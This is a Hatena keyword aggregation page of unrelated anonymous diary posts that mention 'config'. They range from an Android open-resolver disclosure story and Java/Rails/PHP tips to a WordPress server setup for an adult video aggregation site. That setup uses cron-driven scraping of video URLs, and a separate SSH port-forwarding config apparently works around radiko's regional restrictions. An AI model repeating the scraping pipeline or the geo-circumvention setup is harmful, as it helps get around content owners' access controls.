はてなキーワード: configとは
http://jvn.jp/jp/JVN81094176/index.html Android OS がオープンリゾルバとして機能してしまう問題
ってやつね。
報告者の森下さんが「とある方から私個人宛で報告をいただき」と言っているので、その「とある」人として少し背景を書いてみようと思う。
https://twitter.com/OrangeMorishita/status/581314325853306882
発見のタイミングは、Android 4.2 のソースコードが出て少しして、ぐらい。この時点では、Android全てが修正されていなかった。当時、 CVE-2012-3411 (dnsmasq が libvirt の特定の config で使うときにオープリゾルバとなる) が発表されていて、これと同じ問題があるのでは、と調べた結果だった。Android のテザリングは、framework の指示を netd という daemon が受け取りネットワークの設定を変更して実現されている。で、テザリングのクライアントにDHCPでプライベートアドレスを配りDNSのリゾルバを提供するために、必要に応じて netd から dnsmasq が起動される。
そのころ、Android端末の製品開発で、スケジュールに珍しく余裕があり、わりと好き勝手できる状況だったので、AOSPのソースコードを精査していた。
いくつか、セキュリティ問題をみつけて、ものによって単に修正、修正と並行して Google に会社から報告、あるいは単に Google に会社から報告、ぐらいの対応をした。
この問題は、Google に報告だけ、の対応をとった。なぜかといえば、 次のような事情があった。
で、この報告の結果なのか、他の報告もあったのか分からないが、Android 4.3 のリリースに修正が含まれていた。もっとも、国内のほとんどのスマートフォン端末は Android 4.3 はスキップした。森下さんへの個人的な連絡の最初は、Android 4.3 発表より前。
正直、この問題のリスクは、端末ベンダ、および端末ユーザにとっては相当に低いものに見えた。3GやLTEの国内キャリアで、外から端末へ DNS query を許すところはほとんどないだろう、というのは直感的には思っていた(これが間違っている場合は、影響がケタ違いに大きくなるところだった。上流も下流も Wifi という構成のテザリングをAndroidは持っていないので、上流を Wifi と仮定すると、残るのは USB と Bluetooth だけになる) 。NAT される場合ならなおさら。
ただ、ネットワークインフラにとってのDDoSというのは、個々にとってはリスクが低くても、それが何百万台、何千万台とあれば影響が出てくるんじゃないか、という気もした。ちょうどそのころ、森下さんが DNS リフレクション攻撃に関してベンダ等への啓発を始めていたのが目に留まったので、森下さんに連絡してみた。脆弱性対応としてハンドリングするのがIPA や JPCERT/CC になるとしても、ネットワークインフラへの影響ということであれば、表に出ない話も扱える方が報告したほうが適切だと思った。私は原理的には分かってもネットワーク運用に関しては業界の外にいるからね。
事情は知らないけど。
ひとつの可能性としては、「対応未定」の端末、おそらくは対応しないことになるのだろうけど、それらの現役感がなくなってきたからじゃないかな。Android 4.2系が端末のラインナップとして長生きしすぎたせいで、けっこうOSバージョンアップではなくセキュリティ修正としての対応をする製品が多くなったのかなぁ、という気もするけど。
もうひとつの可能性としては、当初よりもインフラへのリスクが上がっているのかもしれない。Android 4.2系の端末で修正リリースが去年の秋とか、これからの近未来とかのが多い、という状況からするとね…。
Javaで開発されたアプリケーションにはインストールにまつわる難点がある。
それによりせっかく興味をもってくれたユーザーも試す前に諦めてしまいがちである。
また、サーバーサイドアプリケーションもJava製である場合、デプロイや監視の際の難点が多く運用者を悩ませてきた。
javafxで導入されたパッケージャを用いることで各OSネイティブなインストーラーの作成が可能になり、この問題を解消・緩和できる。
SpringBoot などを用いた ExecutableJar を作成するアプリケーションであれば、サーバーサイドアプリケーションであっても一部制限があるもののパッケージングできる。
Javaで開発されたアプリケーションの配布には以下の問題点がある。
javafx-maven-pluginを使うとよい。javafxと冠しているが実態はパッケージングツール。
javafxの冠があるがためにスタンドアロンアプリ開発者以外を遠ざけている感あり。
Windows(msi/exe), Linux(rpm/deb), Mac(dmg) など各OS・ディストリビューション固有のパッケージングが行える。
公式ページ( http://zenjava.com/javafx/maven/ )では更新が止まっているが、Github( https://github.com/zonski/javafx-maven-plugin )とMavenRepository( http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.zenjava%22%20AND%20a%3A%22javafx-maven-plugin%22 )を確認するとちゃんと開発は続いている。
pom.xml に以下を追加する。
mainClassはSpringBootなら@SpringBootApplicationのついてるクラスですね。
vendor は適当に組織や個人の名前を入れておきましょう。
※ 以下の XML が化けるのは増田の不具合か仕様っぽい。 http://anond.hatelabo.jp/20100205210805
<plugin> <groupId>com.zenjava</groupId> <artifactId>javafx-maven-plugin</artifactId> <version>8.1.2</version> <configuration> <mainClass>[main method class]</mainClass> <vendor>[Vendor Name]</vendor> </configuration> </plugin>
あとはそのままビルドすればよい。
maven clean jfx:native
ビルドが終わると target/jfx/native 以下に、ビルドしたOS/distributionに合わせて msi, exe, deb, rpm, dmg ができあがります。
本当であればクロスビルドできてしかるべきなのですが、まだ実現はされていないようです。
これらのパッケージは Widonws であれば Program Files(x86) に、Linux系であれば /opt/ の下にインストールされるようです。
/opt/app-name/ の下には app と runtime の2つのディレクトリがあります。
app の下にはビルドした jar ファイルや依存ライブラリが置かれています。
runtime の下には実行用の jre が配備されています。
実行ファイルにそのまま引数を渡せば jar 実行時の引数としてそのまま渡されます。(-Xmxなどはまだ未検証です)
最近、はてなブログのメンヘラアメブロ化から、さらにはスパムワードプレス化までが進んでいるが、
さらに技術系な記事すらスパムとも言える(書いてる人は本気で便利だと信じてるからさらに大変)
非常にどうしようもない技術ハック的な物が増えてきてる。
そして、それが当たり前の様にはてなブックマークの上位に出てくる。
http://papix.hatenablog.com/entry/2014/11/07/182850
これとか。この手の物に無言ブクマしてるのは、大概本気で「役に立つ!」とか本気で「ブクマ」して
あとで試したい!(だけど大概試さないクズの典型)なんだろうけど。
上の話はStack Exchangeにあった話を参照してる
http://superuser.com/questions/247564/is-there-a-way-for-one-ssh-config-file-to-include-another-one
便利な物がすでにかいてあるのでそれをそのまま使えばよいものを、
alias 'ssh'=cat ~/.ssh/config.local ~/.ssh/config.global >> ~/.ssh/config; ssh
configが延々巨大化してくんですが、それ、どうすんですか。。。?
そもそもこれそのまま書いてもエラーになることくらい見て明らかなんだけど
自分で試してすら居ないのか?
その辺すら理解してないのに何してんの?
http://individualist.link/ (←ドメインかっこいいでしょ)
〜 居酒屋にて 〜
A「やっぱり若者が稼ぐにはアプリ作るしかないと思うんですよ」
B「あー分かる」
C「ゲームは当たると大きくていいよね」
A「いいですよね」
A「そういう人の話聞いてみたいんですけどなかなか出てこないですね」
B「どういう人がどういうサービスで当てたのかまとめたい」
A「いいですねえ。Wiki 的な」
B「Google Docs とかでやってみる?」
A「おお、やりましょう」
B「Webサービスにしてもいいかも」
B「できた」
B「ドメイン取ろう」
アルコール入ってるから話のディティールうろ覚えだけどこんな流れで作りました。
当てたいなら先例を見るのが一番参考になるはずだし、僕は個人で作ったものが流行っているのを見るのが好きだし、そういうのとても興味ある。
このサイトを見ていると、どういう人がこのサービス作ったんだとか、これ個人で作ってたんだという発見があっておもしろいと思います。
1時間で出来たというのはほとんど誇張ではなくて、デザインに拘る時間とサーバーに設置する時間を抜かせば本当に1時間でできます。
・画像保存
・タグ付け
・JavaScriptで動き付ける
・CSS整える
・デザイン
というような感じになる。これらを実直にいちいち実装してたら1日で終わるか分かりません。
本を読む一番はやい方法は、文字を読まないことです。
ちょっとコードが書けると実装する道筋が思いついちゃうからライブラリを探す考えに及ばず実装しちゃう事があると思います。
そういう事は避けて、アプリを書くならアプリの本体を最小に済ませるか、ライブラリ自体を作ることに力を入れましょう。
こちらのサイトではRailsのレールに乗っかって開発しました。
以下の例はRailsを使った方法ですが、モダンなフレームワークを使っているのであればだいたい似たような話になると思う。
手に馴染んだフレームワークがあるならなんでもいい。
クソ小さなロジックと数ページしかないならPHPでもいいけど、
とにかくはやく作ることがしたいなら何かしらフレームワーク使ったほうがいい。
秘伝の Rails Application Template を用意しておくのも良い。
モダンなフレームワークなら何も考えずにデータベース接続できるはず。
Rails なら config/database.yml に接続情報書いて rake db:create && rails g model User name:string です。
ソーシャルアカウントでログインする要件が出たら、何も考えずに「あ、OmniAuth」となりましょう。
・画像保存
画像保存が必要になったら反射的に「Paperclip か CarrierWave どっにしよう」となりましょう。
・タグ付け
ActsAsTaggableOn を使います。
has_many :through のめんどくさいタグの実装ですが
これ入れて rake acts_as_taggable_on_engine:install:migrations && rake db:migrate を打てば一発で完成します。
・JavaScript で動き付ける
早くつくりたいんなら JavaScript は捨てましょう。
少なくとも生の JavaScript 書く時代ではないので CoffeeScript 使うと良いです。
・CSS 整える
とりあえず Bootstrap 入れましょう。
クラスの付け方を覚えちゃうと CSS 弄って HTML リロードして確認なんてことしなくても形は整います。
Bourbon gem 使って mixin ライブラリ組み込んじゃうのもいいですね。
HTML 書くのやめましょう。
Haml や Slim のようなテンプレートエンジンを使います。
Zen Coding でもいいけど、結局出力されるのが HTML じゃ見通し悪くて辛いと思う。
Web Components の時代になったらもっと簡単になるんだろうな。
・デザイン
ただ、Webページやアプリというのはだいたい決まったパターンがあるので、いろいろな事例を見るとよいでしょう。
正直レイアウト自体は他のサイト真似るのは悪くない判断だと思います。
むしろその方がユーザーにとって慣れ親しんだ分かりやすいサイトでもあります。
http://individualist.link/ の場合、http://www.producthunt.com/ を異常なほど参考にしました。
まあここまで書いてなんだけど、前提知識として Rails が使えるようになってないといけないのは敷居高くて悪かったと思う。
なお、今回つくったこのサイト、ぜひともみなさんにも投稿していただきたいのですが現在投稿者は承認制としております。
私本当に個人が作って運営しているというアプリやサイトというのが好きでして、
about:configで「general.smoothScroll.other」がtrueになってるとそうなるよ
いや、今回 パーミッションが404つまり、グループ外だったらだれでも読めるになってた
wp-config.phpには DBのパスワードが生で打ち込まれているので、それが読まれてたとしたらパスワードをどれだけ難解に、複雑にしていても無駄。
その上、グローバル側に開いていたとしたら、いわゆる今流行のパスワード流出問題と同じパスワードが使われてる可能性があるから
辞書的攻撃で一撃
仮に、辞書的攻撃くらってたとしたら・・・異常トラヒック検知が入ってなかったのねとはなるけど
値段から考えるとな。
が・・・MySQLを間違ってグローバルに開けるというのは、専有サーバーでも起きえるしなんというか、かんというか。
とはいっても、いずれにしろ、いつぞやの、ファイル全消しとかと同じで、今更言っても始まらぬ。
責めるより対処して火消して終了だろ。
ども。
以前、はてな匿名ダイアリーで日記を書いた者です。
→【Ruby on Rails勉強】 xvideosまとめサイトっておいしいの?
上の記事でも書いていますが、Railsはおろか、Rubyを初めて触った人間がゼロからWebサービスをリリースするために利用しているGemを公開したいと思います。
サイト名 | onalife(オナライフ) |
---|---|
URL | http://www.onalife.com |
説明 | xvideos動画の共有・ユーザー参加型のまとめサイト |
developmentモードで起動する際のデータベースはsqlite3を使うようにしています。
コーディング→サーバー起動→動作確認→コーディング…という流れになりますが、サーバーを起動する際に、
$ rails s
と実行するだけでサーバーが起動できるため大変手軽です。
サーバー起動後はブラウザで http://localhost:3000/ でアクセスすれば開発用のサイトを確認できます。
productionモード(本番環境)で利用するのはMySQLを使うようにしています。
理由は他のWebサイトで推奨されていたため。
sqliteの場合だと、単純にDBのデータをファイルとして扱っており、同時に複数アクセスがあった際、最初のアクセス中にファイルがロックされてしまう仕様との記事をどこかで見たため、MySQLを使うようにしています。
developmentとproductionで動作を分けるには、 config/database.ymlで分けることができます。
development:
database: db/development.sqlite3
pool: 5
timeout: 5000
production:
encoding: utf8
pool: 5
timeout: 5000
よくWebサービスのページ下にある [1][2]・・・[X]といったリンクが表示されている、あれです。
http://memo.yomukaku.net/entries/238
https://github.com/amatsuda/kaminari
Unicorn + Nginx + Rails で構築しています。
効果の違いなどはGoogle先生に質問すると大量に返答がありますのでこちらでは割愛。
ONALIFE(オナライフ)では、xvideosの動画URLや画像パスを抜き出す為に、こちらのGemを使っています。
http://himaratsu.hatenablog.com/entry/2013/04/27/002249
自作するとなるとかなり労力使いますから…こういったところは極力他の人が作ってくれたものを流用してもバチはあたらんでしょう。
https://github.com/mbleigh/acts-as-taggable-on
通常だと管理画面も rails g xxx とかやって controller 作って、 view 作って…とかやらないといけませんが、こちらのGemを使うと一瞬で終わります。
素晴らしい!!
当サイトでは、投稿していただいたxvideosの動画が不適切な場合などに消去する必要があるため、どうしても管理者向けの画面が欲しかったのでこちらを使いました。
データベースを直接操作して delete とかできちゃいます。
http://www.func09.com/wordpress/archives/1136
自分のサイトのアクセス傾向を解析して、どうすればアクセスが伸ばせるか、ということを考察するのに必要不可欠な機能です。
通常、Google Analytics にサイトを登録すると、Javascript のコードが生成されるので、それをWebサービスに貼り付けるだけで完了ですが、こちらのGemを使うと、Google Analytics で生成されるID番号のみを登録するだけで自動的に挿入されるようになります。
まだONALIFE(オナライフ)は発展途上のサービスです。
機能を拡張していくうえで、先人たちのありがたいGemをどんどんこれからも活用していければ、と思っています。
みなさんもこれは便利!というお勧めのGemがあれば是非教えて頂ければと思います。
以上、ONALIFE(オナライフ)で利用しているGem一覧の紹介でした。
http://anond.hatelabo.jp/20101206224349
http://anond.hatelabo.jp/20101203150748
http://anond.hatelabo.jp/20120914214121
表示速度やスクロールやズームのパフォーマンスは Androidのブラウザと比べて最も優れた部類に入ると思う。
ユーザーの声がどの程度反映されているのか分かりにくいし、新機能の導入にはかなり消極的な印象がある。
不満をつらつら書いてみる。
ウェブページにアクセスすると、ロケーションバーのファビコンがクルクル回るアイコンになる。プログレスバーはない。
これではいつになったらロードが終わるのか検討もつかない。ロードに時間がかかる原因も分からない。
Javascriptの処理が終わらないのか、あるサイトからのレスポンスが極端に遅いのか。
原因がわかれば、利用者は前のページに引き返したり、違う方法でアクセスすることを試みることができる。
例えば「firefox addon」と調べた後、「firefox addon android」と単語を追加して調べたいとき、Firefox では全て入力しなおしすることになる。
ソフトキーボードが使いにくい スマホ/タブレット では、これがどれほど面倒でイライラする作業か。
Google Chrome では以前に検索した文字列を記憶していて、次回検索するときにそれをサジェストしてくれる。
Firefox は Androidネイティブのコピペ機能を使わず独自に実装しているため、現状はコピーとシェアくらいしかできない。
選択して新しいタブに検索結果を表示する機能は、当然のように他ブラウザには実装されている。Chromeなどは最短2タップでできる。
Firefox で同じ事をやろうとする場合、タップ長押し、コピー、ロケーションバー長押し「Paste & Go」するしかない。
せっかく複数の検索プラグイン用意してあるんだから、検索エンジンを選択して検索とかあればいいのに。。
Google は Webkit でしかレイアウトの確認をおこなっていないようだ。というか意図的に Webkit 依存のレイアウトにしているんじゃないかと感じる時がある。
スマホ版の Firefox のGoogle検索結果はフィルタリングもできない簡易レイアウトで、タブレットにいたってはレイアウトが崩れたままだ。これが数ヶ月放置されている。
どうせ先頭十数文字しか表示されないんだから、ドメイン名を表示したほうがフィッシング対策的にもよっぽどいい。
しかもタイトルが表示されているのに、タイトルの文字列をクリップボードにコピーできない。
ファビコン(サイトアイコン)はほとんどの端末でピンぼけしてるし、表示領域狭くなるし、表示しなくてもいいんじゃないかと思う。
なんにせよ有効活用できていない。
設定項目の一番上にでかでかと About Firefox って... それは一番下でいいだろう。
そんなことが気になるくらいに設定項目が少ない。Firefox 19 でテキストの再配置項目が増えたくらいか。
「パフォーマンス情報を送る」とか、「追跡拒否をサイトに通知」とか、インストール時にしか使わないであろう「Androidからインポートする」とか。
あんまり重要じゃない設定項目がほとんどだ。しかも字が大きくて一覧性が悪い。
利用者にとって必要なのは「ホームページを変更する」とか、「終了時の動作を変更」と「ユーザーエージェント」を変更するとかさ、そういうのなんだよね。。
Firefox の強みって何だったけ。
アドオン数では Dolphin ブラウザよりも圧倒的に少ない。アドオンサイトもインストールしづらいし、目的の物を見つけづらい(というかそもそも無い)。
現状ではアドオンの質もあまり良いとは言いがたい。それに、Firefox本体の設定項目が少ないせいで UA も変えられなければ「選択して検索する」機能さえもアドオンに頼らざるを得ない。
Android 版 Firefox は驚くほど機能が少ない。
これは主に Firefox OS のためのアプリストアだ。方針や理想は理解できるし、面白いと思う。
でも Firefox OS で利用するなら理解できるものの、より良いアプリが揃う Playstore の存在する Android 端末で一体誰が利用しようと考えるのだろうか。
Webアプリの理想を追うのはいいが、Android に向けた Firefox を作るのならば、身近なユーザビリティを向上させるのに優先的に力を注いでほしい。
これは Firefox に限ったことでは無いけれど、縦に長いページでは、一番下までスクロールするのに結構頑張ってスワイプし続けなければいけない。
こういう機能はサイト側がJSで用意すべきだとか思っているんだろうか。
リンクやフォームをタッチした時に背景がオレンジ色になる。Chromeのように灰色ならいいのだけれど、オレンジ色は目に刺激が強すぎて、チカチカする。about:config で探してみたけどそれらしい設定項目もなかった。
端末のバイブが鳴るのも必要ない。そういうのを有効無効にする設定項目が欲しいんだけどなぁ。。
Nexus 7 のことだ。スマホ UI を拡大しただけなので、タブの切り替えにあれほどまでに大げさなアニメーションは必要ないと感じてしまう。
画面に余裕がある分にはタブは常に表示されていて欲しい。
できない。これは開発版で検討されていて、初期設定無効になっているらしいので、安定したら使えるようになるんだろう。
Do Not Track (DNT) 機能。利用者がトラッキングの可否を選択できるのは素晴らしいことだと思う。
けれども世間のほとんどのサイトがこの機能を無視している現状で、この機能を大々的に宣伝に使うのはどうかと思う。
about:feedback でフィードバック送れるのだけれど、Chromeみたいに設定項目あたりに書いといてくれないと気づかない。
Playstoreのレビューが荒れるのもわかる気がする。
==
以上いろいろFirefoxへの不満を書いてみたけど、なんだかんだ多分 Firefox は使い続けると思う。デスクトップ版は大好きだから。
でもAndroid版の現状の使い勝手はひどいよ。イケてない。永遠のサブブラウザだ。Android 4.1以降が普及したらChromeにとって替わられるのは目に見えている。
「みんなの役に立つサイトを作って、一発大きく儲けたい!」と、
思い続けて、早10年(泣)。。
とりあえず、エロサイトを作るのってすごく勉強なる?楽しい?らしいので、
誰にも利用されない「へぼツール」作るより必ず誰かの為になるなぁと考え、
できるだけ、誰でもわかるように、詳細を書いていますので、
これを見るだけで、ノンプログラマーの方でも、
※記事は毎日10件更新予定です。つまり毎日このサイトだけ見に行けば困らないってことです。
http://anond.hatelabo.jp/20101219185436
http://anond.hatelabo.jp/20101203150748
http://d.hatena.ne.jp/inouetakuya/20120331/1333192327
http://anond.hatelabo.jp/20120318122617
http://anond.hatelabo.jp/20120914214121
http://anond.hatelabo.jp/20110804021353
http://anond.hatelabo.jp/20120926165533
saasesのVPS OsukiniサーバーLT メモリ512MB 月450円! アダルトOK
CentOS 64bitを選択。(メモリを食うだけなので、特に用がなければ、32bitにしよう!)
※どこにも書いてないけど、2週間以内なら取り消しできます。
☆契約時、webmin&mysqlの選択は必須にしておいたほうがいいです。私は間違えて、webmin無しにしてしまった。。
後から、再インストール(初期化)すれば、再選択することができるようです。。
申し込み後、たったの30分で接続できるようになりました。
をバリュードメインで取得。280円!安い。
/sbin/chkconfig auditd off
/sbin/chkconfig autofs off
/sbin/chkconfig avahi-daemon off
/sbin/chkconfig firstboot off
/sbin/chkconfig kudzu off
/sbin/chkconfig lvm2-monitor off
/sbin/chkconfig mcstrans off
/sbin/chkconfig mdmonitor off
/sbin/chkconfig messagebus off
/sbin/chkconfig netfs off
/sbin/chkconfig nfslock off
/sbin/chkconfig portmap off
/sbin/chkconfig rawdevices off
/sbin/chkconfig restorecond off
/sbin/chkconfig smartd off
/sbin/chkconfig xfs off
※190MBが150MBぐらいになります。
http://support.saases.jp/index.php?action=artikel&cat=63&id=312&artlang=ja
# vi /etc/httpd/conf/httpd.conf
NameVirtualHost *:80 ←これを探して、コメントアウトを削除。その下に以下を設定。
DocumentRoot "/home/ユーザーID/iphone-xvideos.info"
ServerName iphone-xvideos.info
<Directory "/home/ユーザーID/iphone-xvideos.info">
order deny,allow
Options FollowSymLinks
# /etc/rc.d/init.d/httpd restart
「httpd: Could not reliably determine the server's fully qualified domain name, using...」
その時はこちらで解決⇒http://d.hatena.ne.jp/uriyuri/20100511/1273575287
で、このままだとIPアドレスでもアクセスできてしまうので、以下もやっておく。
http://fedorasrv.com/memo/log/29.shtml
mkdir /home/ユーザーID/iphone-xvideos.info
chown ユーザーID /home/ユーザーID/iphone-xvideos.info
/home/ユーザーID/以下はpermission errorとなりアクセスできないので、権限を変える。←いいのかな?
http://blog.verygoodtown.com/2010/02/centos-apc-install-how-to/
↑これを実行した際に、「error: expected specifier-qualifier-list before 'pcre'」なんちゃらっていうエラーがでたので、以下を実行。
再度実行して、無事インストールできた。
【APCの設定】
extension=apc.so
[APC]
apc.enabled = 1
/ ←検索
n ←次の検索文字へ
]] ←最後尾に移動
:q! ←保存せずに終了
--------------------------
# /etc/rc.d/init.d/httpd restart
vi /home/ユーザーID/iphone-xvideos.info/index.php
phpinfo();
?>
http://tanaka.sakura.ad.jp/2011/05/centos-linux-apache-php-perl-mysql-lamp.html
↑これを参考に適当に変更してみた
MaxClients 256 ←これを40に
MaxRequestsPerChild 4000 ←これを1000
このサーバは、512MBしかないからもっと小さくしたほうがいいのかも。。
# ab -c 10 -n 100 http://iphone-xvideos.info/
【変更前】
Requests per second: 40.01 [#/sec] (mean)
【変更後】
Requests per second: 137.57 [#/sec] (mean) ←1発目
Requests per second: 552.79 [#/sec] (mean) ←2発目以降(キャッシュ後)
最新版をやってみるとエラーが発生。
「サーバーの PHP バージョンは 5.1.6 ですが WordPress 3.4.2 は 5.2.4 以上のみでご利用になれます。」
3.1系を選択する。。
http://ja.wordpress.org/releases/
※↑結局、後日phpとmysqlのバージョンアップをやりました。
ソースをUP
DBを作る
ホームの「新規データベースを作成する」と書いてある所の下にある、
を修正する。
【プラグイン】
WPtouch ←/wp-content/plugins/wptouch/themes/core/core-header.php をちょこっと変更すればiphoneでxvideo再生ができる。
○人気記事一覧
http://the-fool.me/wordpress/plugins/wordpress-popular-posts.html
設定⇒投稿設定⇒Atom 投稿プロトコル&XML-RPCにチェック
キャッシュが効いていて問題ないことを確認。
○wikipediaから取ってきた女優名をカテゴリテーブル(wp_terms)に突っ込む。(5,260人でした。)
↑これは月に2回更新。cronで動かすことにした。
○googleブログ検索(24時間以内のもの)に女優名をつっこんで、
(とりあえず、引退した人の動画は少ないだろうと考え、現役2,762人分のxvideosを取得してみた。処理時間8時間、192件取得できた。)
http://www.kaasan.info/archives/1457
動画のURLを取得したら、削除されていないか調べて、OKだったら投稿。
http://www.multiburst.net/sometime-php/2009/04/newpost-with-wordpress-xmlrpc-api/
↑ここらへんを参考に
http://pear.php.net/package/PEAR/download
↑pear自体はここにあるので、「XML」フォルダのみをUP。
だいたい、30分で10記事取得できることがわかったので、
【cron設定】
$ crontab -e
00 04 * * * /bin/sh /home/ユーザーID/iphone-xvideos.info/insert_X.sh >/dev/null 2>&1
00 03 1,15 * * /bin/sh /home/ユーザーID/iphone-xvideos.info/insert_XXX.sh >/dev/null 2>&1
http://miya0.dyndns.org/pc/settei/crontab.html
----------------------------------------------------
↑旬な情報が取れないが、とりあえず。。
前日のterm_idを記録して、
次の日はそれ以降のデータを取得する。
----------------------------------------------------
☆jqueryでお気に入り作成。cookieを使う。(PCのみ?)
☆好きな女優を登録しておけば、記事の更新情報をメールで通知。
☆デザイン修正。。
実際、なんとなく勉強になった気もするし、楽しく作業できました。
まったくアクセス無くても、自分用にとても良いものができたと思っているので満足です。
もし繋がりにくくなったりしたら、
別のレンサバに変更しますー。
随時こちらに追記していきますね。
最後まで読んで頂いてありがとうございます。
サイトオープンから10日ほど過ぎたので状況をお知らせします。
はてぶは全くだめだった。。
(日々増加しているが、検索エンジンからくるようになってもまだこんだけ。。)
メモリは問題なし。512MB中ピークでも300MBぐらいしか使ってない。
# chmod 744 /usr/local/bin/memrep.sh
※本日、テスト的にDMMの広告を張ってみました。。←すぐ消した。。
また、後日お知らせしますね。
1か月経ったので。。
ページビュー2500/日
自動更新なのに、きっちりアクセスは日々増えて続けています。エロは強い。
アクセス少ないので、負荷は全く問題なし。
Swapも全く使ってない。
FreeBSD security run output (cron@/usr/local/etc/periodic/security/415.rkhunter)
Running rkhunter...
Warning: The file '/etc/passwd' exists on the system, but it is not present in the rkhunter.dat file.
http://permalink.gmane.org/gmane.comp.security.rkhunter.user/2584
the cron job running RKH uses a PATH which includes /etc and as such RKH sees /etc/passwd as a command (and so to be checked).
But when the user runs 'rkhunter --propupd' his PATH doesn't include /etc and so /etc/passwd is not recorded in the rkhunter.dat file.
USER_FILEPROP_FILES_DIRS="/etc/passwd"to your config file. RKH should then always see the file regardless of the PATH.
# rkhunter --propupd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 115 # rkhunter --propupd /etc/passwd Filename is not in the "rkhunter.dat" file: /etc/passwd # env PATH=${PATH}:/etc rkhunter --propupd /etc/passwd Filename is not in the "rkhunter.dat" file: /etc/passwd # env PATH=${PATH}:/etc rkhunter --propupd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 116 # env PATH=${PATH}:/etc rkhunter --propupd /etc/passwd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 1 of 116 # rkhunter --propupd /etc/passwd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 0 of 115 # rkhunter --propupd /etc/passwd Filename is not in the "rkhunter.dat" file: /etc/passwd
# rkhunter --propupd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 115 # echo 'USER_FILEPROP_FILES_DIRS="/etc/passwd"' >> /usr/local/etc/rkhunter.conf # rkhunter --propupd /etc/passwd Filename is not in the "rkhunter.dat" file: /etc/passwd # env PATH=${PATH}:/etc rkhunter --propupd /etc/passwd Filename is not in the "rkhunter.dat" file: /etc/passwd # rkhunter --propupd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 116 pen4# rkhunter --propupd /etc/passwd [ Rootkit Hunter version 1.3.8 ] File updated: searched for 167 files, found 1 of 116
-----------------------------------
Host radiko.jp
HostName (IPアドレスを入れる)※1
Port 22 (もし違ったら変更する)
TcpKeepAlive yes
ServerAliveCountMax 15
ServerAliveInterval 80
LocalForward 1935 219.103.34.224:1935
LocalForward 80 219.103.34.224:80
LocalForward 80 219.103.34.226:80
LocalForward 443 219.103.34.226:443
LocalForward 8935 219.103.34.226:8935
LocalForward 8936 219.103.34.226:8936
LocalForward 8937 219.103.34.226:8937
-----------------------------------
ペロペロ
1. htmlのはき出しがあるやつは?>を書いたほうがいいよ。それ以外は最近はかないのがはやりだねさらに昔はevalとかで書いてた
2. configこれはwwwやpublic_html以下にしかconfigを配置できないクソサーバーがあるので、phpにしておいたほうが安全。なぜなら丸見えにしてあれこれパスをさらけ出すバカがいるかもしれないからだ。オープンソースなら特に。
3. コメントは挨拶だ。必要以上に挨拶を繰り返す必要もないし、それ以上でも以下でもない。
4. eclipseのせいと、phpとかが出始めたころのコーディング規約がスペースにするように求めた。{を改行してから書くか、続けて書くかのこれは宗教戦争だ。だが正直スペースは気に食わない。LLのくせに何バイトつかってるのだとおもう。あとスペース2文字インデントのやつは旅立て!
5. phpの0と""の違いは緩すぎる。そういう意味でナンバーの取り扱いにだけは気を配るべきだ。あとはtmpでもbufでもretでもなんでもいい。
6. nullはつっこむな、nullで初期化はすんな。初期化されてないからnullなんだ。issetは有効につかえ。とくに$_系の変数
7. 本当はerrorprocをかけといいたいがLLにそこまで望んでもしゃーない。エラーを投げると鯖ログにまで場合によっては落ちたりしてやっかいだからfalseを返せばいいというものでもないが、trueで初期化するやつは滅びていいと思う。あとarrayを返すようなfunctionの場合、phpのなんだっけisarray?だっけ?がクソすぎて萎える
8. つかダブルクオートのなかに$を書くコードは滅びていい。コンストはすべて大文字でという昔ながらのルールだけ守ってくれればいい
9. 出力系のラップ関数ぐらいつくっておこうぜ。あと、var_dumpとかのほうが見やすい。あと、get_defined_varsとかをラップしておくと便利
10. 三項演算子はつかうな。ifの{}を略すな。可読性がおちるのとしんたっくすで原因の特定がめんどくさい。
12. ++iなんていうコードを書くな。あと、roopの条件文で計算すんな
13. むしろこういうのは文字列の連結以外で使うようなスチュエーションをつくっちゃだめ
14. あら上で言っちゃったよ。ここまでやるんだったらlogファイルに吐き出すところまで拡張しとけば?
15. んー。エラーメッセージを定数化するときは外国版をつくるあてまである時だけだな
16. これも上でいってしまったな。あとリロードされてもいいように初期化でクリアしておくといいぞ。
17. ああそうだな、関数が1スクロールに収まらないときは大抵正規化に失敗してる。つくりをみなおせ
18. えー、こんな風に書くのはどうかしている。public二つチェインで呼び出すぐらいなら、内部でprivateを呼び出すか、継承させてparentにしておくべきか、それともシステムとして共通のstaticで呼び出せるかにしてくほうがいいのでは?$this->setThis()でいいじゃないか。なぜpublic functionをそういくつも定義する必要がある? 外部からの入り口出口は絞れ
19. グローバルなラッピング関数は最低限にとどめるべきで他は機能ごとにクラスつくってメソッド化しとけ。p(var)じゃねぇよDEBUG::p(var)とかにしとけってことだ
20. 眠くなったからねる。つまりはそんなもんだってことだ。気に病むな。満足してもらえるもんをしっかりつくればいいだけだ
http://1-byte.jp/2011/03/20/20_tips_you_need_to_learn_to_become_a_better_php_programmer/
良いPHPerだって?そんなものは丸めてゴミ箱にでも捨ててしまった方が資源の再利用になる分いくらかマシだ。
つまり俺たちがしなくちゃならないことは「より良いPHPerにならないため」に何ができるかってことなのさ。
それじゃ、始めよう。
?>なんて使っちゃいけない。そう俺たちはBAD PHPer。
無駄なホワイトスペースの出力に悩まされるくらいなら対称性なんて丸めてゴミ箱にでも捨てた方がまだマシだ。非対称性こそが賛美。
require_once("config.php");
未だにこんなことやってるやつがいるのかいベイベー。絶対にダメだ。この一行を見たら俺は悶絶する。
ダメだ、早く何とかしないと。
大抵このconfig.phpの中身はこうなっている。見て絶望だ。
$hoge_path = ''; if (!LOCAL) { define('FOO_FLAG', 1); if (HONBAN) { define('HOGE_FLAG', 1); } else if (TEST) { define('HOGE_FLAG', 2); } } else { $hoge_path = '/local'; define('FOO_FLAG', 2); define('HOGE_FLAG', 3); } define('HOGE_URL', $hoge_path.'/hoge/');
こういうのが延々と続くわけだ。もういやだ。もう見たくない。
本番環境とテスト環境でどういう値の違いがあるのか、ローカル環境だとどうなるのか、まったく把握できる気がしない。
なまじPHPな設定ファイルのせいで、処理をついつい書いてしまう。そしてどんどん複雑になってしまう。
やはり設定データは基本的にYAML等のデータしか定義できない形式のもので用意すべきだ。そして環境ごとに設定ファイルを分けるべきである。
